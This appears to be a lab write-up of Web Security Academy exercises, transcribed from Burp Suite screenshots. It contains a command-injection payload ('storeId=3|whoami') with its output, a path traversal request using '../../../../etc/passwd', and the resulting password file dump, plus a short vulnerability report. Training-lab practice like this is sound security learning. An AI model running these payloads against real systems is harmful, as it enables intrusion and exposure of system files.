2Origin: https://0af1005004a9759e8006089e00ed0053.web-security-academy.net

3Sec-Fetch-Site: same-origin

4Sec-Fetch-Mode: cors

5Sec-Fetch-Dest: empty

6Referer: https://0af1005004a9759e8006089e00ed0053.web-security-academy.net/product?productId=1

7Accept-Encoding: gzip, deflate, br

8Priority: u=1, i

9

10productId=1&storeId=3|whoami

Response

PrettyRawHexRender

1HTTP/2 200 OK

2Content-Type: text/plain; charset=utf-8

3X-Frame-Options: SAMEORIGIN

4Content-Length: 13

5

6peter-Se2vFM

7

0 highlights

0 highlights

Vulnerability name	File Path Traversal - Arbitrary File Access
CWE	CWE-22:
CVSS score 3.1 Calculator	7.5
Severity	High
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Description	The application is vulnerable to a file path traversal attack due to improper validation of user input in the <code>filename</code> parameter.
Security Impact	Confidentiality: Access to sensitive system files such as <code>/etc/passwd</code>, which contains user account information.
Affected host	https://0a5d006c0413969a803c53e5001e0077.web-security-academy.net/
Remediation	Restrict file permissions to ensure sensitive files cannot be accessed by the web application.
Reference	https://cwe.mitre.org/data/definitions/22.html https://owasp.org/www-community/attacks/Path_Traversal

Documentation

File path traversal, simple case

+

← → ↺ <https://0a5d006c0413969a803c53e5001e0077.web-security-academy.net> ☆ 🗑️ 👤 ⋮

WebSecurity Academy

File path traversal, simple case

Back to lab description >>

LAB Not solved 🧪

Home

WE LIKE TO

SHOP 



There is No 'T' in Team

★★★★★ \$98.22

View details



Snow Delivered to Your Door

★★★★★ \$51.90

View details



There's No Place Like Gnome

★★★★★ \$93.24

View details



Portable Hat

★★★★★ \$42.73

View details

Burp Suite Community Edition v2024.9.5 - Temporary Project

Dashboard Target Proxy Intruder Repeater View Help Intercept HTTP history WebSockets history Match and replace Proxy settings

Filter settings: Hiding CSS and General binary content

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time
1	https://0a5d006c0413969a8...	GET	/			200	10308	HTML		File path traversal, si...		✓	34.246.129.62		23:20:03
4	https://0a5d006c0413969a8...	GET	/resources/labheader.js/labHead...			200	1673	script	js			✓	34.246.129.62		23:20:07.1
5	https://0a5d006c0413969a8...	GET	/resources/images/shop.svg			200	7258	XML	svg			✓	34.246.129.62		23:20:08.1
6	https://0a5d006c0413969a8...	GET	/image?filename=58.jpg	✓		200	163683	JPEG				✓	34.246.129.62		23:20:08.1
7	https://0a5d006c0413969a8...	GET	/resources/images/rating4.png			200	742	PNG	png			✓	34.246.129.62		23:20:08.1
8	https://0a5d006c0413969a8...	GET	/image?filename=21.jpg	✓		200	194766	JPEG				✓	34.246.129.62		23:20:08.1
9	https://0a5d006c0413969a8...	GET	/academyLabHeader			101	147					✓	34.246.129.62		23:20:09.1
10	https://0a5d006c0413969a8...	GET	/resources/images/rating5.png			200	624	PNG	png			✓	34.246.129.62		23:20:09.1
11	https://0a5d006c0413969a8...	GET	/image?filename=71.jpg	✓		200	179898	JPEG				✓	34.246.129.62		23:20:09.1
12	https://0a5d006c0413969a8...	GET	/image?filename=18.jpg	✓		200	133514	JPEG				✓	34.246.129.62		23:20:09.1
13	https://0a5d006c0413969a8...	GET	/image?filename=38.jpg	✓		200	277107	JPEG				✓	34.246.129.62		23:20:09.1

Request

```

GET /image?filename=58.jpg HTTP/2
Host: 0a5d006c0413969a803c53e5001e0077.web-security-academy.net
Cookie: session=7ML0xRlzcF7oBm3HSe9g0do50f1fhMs
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.8
Sec-Ch-Ua: "Not:A.Brand";v="99", "Chromium";v="130"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a5d006c0413969a803c53e5001e0077.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
          
```

Response

```

HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 163592
y0y0x0xiFHMhVlj(1r20DI-B
wD:
wDAdobe Photoshop CC 2019 (Macintosh);2019:03:01
17:36:25 yy 4 04.(6THRYyIAdobe_CMyIAdebeddy0J
yYak yyT
yYak
yYak
11AQAQ*QCDDIB#B#BAb3zDOHC0AS0Ac5c+6EDOTdA5tce0Uae0PDA0u0P'DMID DA0AoWu0AA0Vvtvd0;UE0eo7GwGMDOS Cge511AQaq"CDDIB#B#BAb3zArCDDCS4ht+0A5ADOTdsIdRutetao'DA0u0aFOHD' DA0AoWu0AA0Vvtvd0;UE0eo7GwGMDOS Cy070BDIDICEDHMD,+1A"(4(Q-QkQB0AVp0EUYDY0Ydyd:I~AuSiB:D0X0a00SDCCLCDNaLhD-17)MTLYnuSUDu>1+cuoKecAwD04Frjd:N e=CdhNnAPyzdDLIOe0BV7IDAAG-euy_hDfze0aRoamID-uW0D'0DCGRIB0Cdh0P0Vey-vwTPIAKDM
3IUT3Iut3IutYUyUy+xB0*NU0TU0EDR<aQAEYveBSB7'~BA0u0ci0-Guc0P' JDD0km+Cj0sh6?W1dlY1AC2Bo*9idAm0DDE !
          
```

Inspector

Request attributes 2

Request query parameters 1

Request cookies 1

Request headers 17

Response headers 3

Event log All issues

Memory: 121.6MB

Remove the img path and replace it with “../../../../etc/passwd”

Burp Suite Community Edition v2024.9.5 - Temporary Project

Dashboard Target Proxy Intruder Repeater Decoder Collaborator Sequencer Comparer Logger Organizer Extensions Learn

1 x +

Send Cancel < >

Target: <https://0a5d006c0413969a803c53e5001e0077.web-security-academy.net> HTTP/2

Request

Pretty Raw Hex

```
1 GET /image?filename=../../../../etc/passwd/ HTTP/2
2 Host: 0a5d006c0413969a803c53e5001e0077.web-security-academy.net
3 Cookie: session=7MLvMFlz2FrS0bm3Hd9tg0do50flfbMz
4 Sec-Ch-Ua-Platform: "Windows"
5 Accept-Language: en-US,en;q=0.9
6 Sec-Ch-Ua: "NotA_Brand";v="58", "Chromium";v="130"
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70
  Safari/537.36
8 Sec-Ch-Ua-Mobile: ?0
9 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: no-cors
12 Sec-Fetch-Dest: image
13 Referer: https://0a5d006c0413969a803c53e5001e0077.web-security-academy.net/
14 Accept-Encoding: gzip, deflate, br
15 Priority: u=2, i
16
17
```

Response

Inspector

Request attributes 2

Request query parameters 1

Request body parameters 0

Request cookies 1

Request headers 17

Inspector Notes

Ready

Event log All issues

Memory: 121.6MB

To get to this where files is located.

1 x +

Send Cancel < >

Target: https://0a5d006c0413969a803c53e5001e0077.web-security-academy.net

Request

Pretty Raw Hex

1 GET /image?filename=../../../../etc/passwd HTTP/2

2 Host: 0a5d006c0413969a803c53e5001e0077.web-security-academy.net

3 Cookie: session=7MLmE1z2Fr80bm3Hk9tg0do50f1fbMz

4 Sec-Ch-Ua-Platform: "Windows"

5 Accept-Language: en-US,en;q=0.9

6 Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36

8 Sec-Ch-Ua-Mobile: ?0

9 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: no-cors

12 Sec-Fetch-Dest: image

13 Referer: https://0a5d006c0413969a803c53e5001e0077.web-security-academy.net/

14 Accept-Encoding: gzip, deflate, br

15 Priority: u=2, i

16

17

Response

Pretty Raw Hex Render

1 HTTP/2 200 OK

2 Content-Type: image/jpeg

3 X-Frame-Options: SAMEORIGIN

4 Content-Length: 2316

5

6 root:x:0:0:root:/root:/bin/bash

7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

8 bin:x:2:2:bin:/bin:/usr/sbin/nologin

9 sys:x:3:3:sys:/dev:/usr/sbin/nologin

10 sync:x:4:65534:sync:/bin:/bin/sync

11 games:x:5:60:games:/usr/games:/usr/sbin/nologin

12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

24 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin

25 peter:x:12001:12001:/home/peter:/bin/bash

26 carlos:x:12002:12002:/home/carlos:/bin/bash

27 user:x:12000:12000:/home/user:/bin/bash

28 elmer:x:12099:12099:/home/elmer:/bin/bash

29 academy:x:10000:10000:/academy:/bin/bash

30 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin

31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin

32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

< > Search 0 highlights

< > Search 0 highlights

Done

Event log (1) All issues